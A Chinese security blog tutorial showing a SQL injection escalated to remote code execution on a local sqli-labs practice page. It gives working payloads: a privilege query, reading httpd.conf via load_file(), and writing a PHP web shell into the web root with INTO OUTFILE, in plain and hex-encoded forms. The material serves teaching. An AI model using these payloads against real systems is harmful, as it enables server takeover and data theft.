记一次SQL注入到RCE的漏洞挖掘

2023-04-18 11,067

什么是SQL注入?

SQL 注入是一种针对使用 SQL(结构化查询语言)数据库的 Web 应用程序的攻击。攻击涉及将恶意 SQL 代码注入 Web 应用程序的输入字段,然后可以由应用程序的数据库执行。

SQL 注入攻击旨在利用应用程序代码中的漏洞,使攻击者能够访问敏感信息或操纵数据库。例如,攻击者可以使用 SQL 注入窃取用户凭据并修改或删除数据

所以有一个不同的场景,如果当前数据库用户有写权限,我们可以获得 RCE(远程代码执行)

测试开始

易受攻击的应用程序:http://localhost/sqlilabs/practice/example1.php?id=1

我要检查当前的数据库用户名以及用户是否有写权限

我将简单地调用用户函数user()来打印当前数据库的用户名

它会像那样输出

所以我们必须检查用户 root 是否有写权限

我们将执行查询“(select group_concat(grantee,is_grantable,0x3c62723e) from information_schema.user_privileges)”

我得到了这样的输出

所以我们现在有写入权限,我们可以使用outfile在服务器上写入

还有两件事 1:我们需要一个服务器路径 2:一个可写目录

对于路径泄露,我们可以尝试读取服务器上的配置文件,如httpd.conf 或 access_log等 ,这取决于 我们找到httpd.conf文件的服务器 ,我们可以获得服务器路径

现在我们将使用load_file()函数来读取“ httpd.conf”

读取配置文件后我们得到了服务器路径

现在我们可以使用outfile写入以在服务器上获取 RCE

http://localhost/sqlilabs/practice/example1.php?id=1' and 0 union select 1,<?php system($_GET['cmd']); ?>,3 进入输出文件 '/opt/lampp/htdocs/shell.php' - +

如果它不起作用尝试使用十六进制编码

http://localhost/sqlilabs/practice/example1.php?id=1' and 0 union select 1,0x3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e,3 into outfile '/opt/lampp/htdocs/shell.php' - +

本文作者:HACK_Learn

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/199151.html

Tags:
评论  (0)
快来写下你的想法吧!

HACK_Learn

文章数:142 积分: 323

微信公众号:HACK学习呀

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号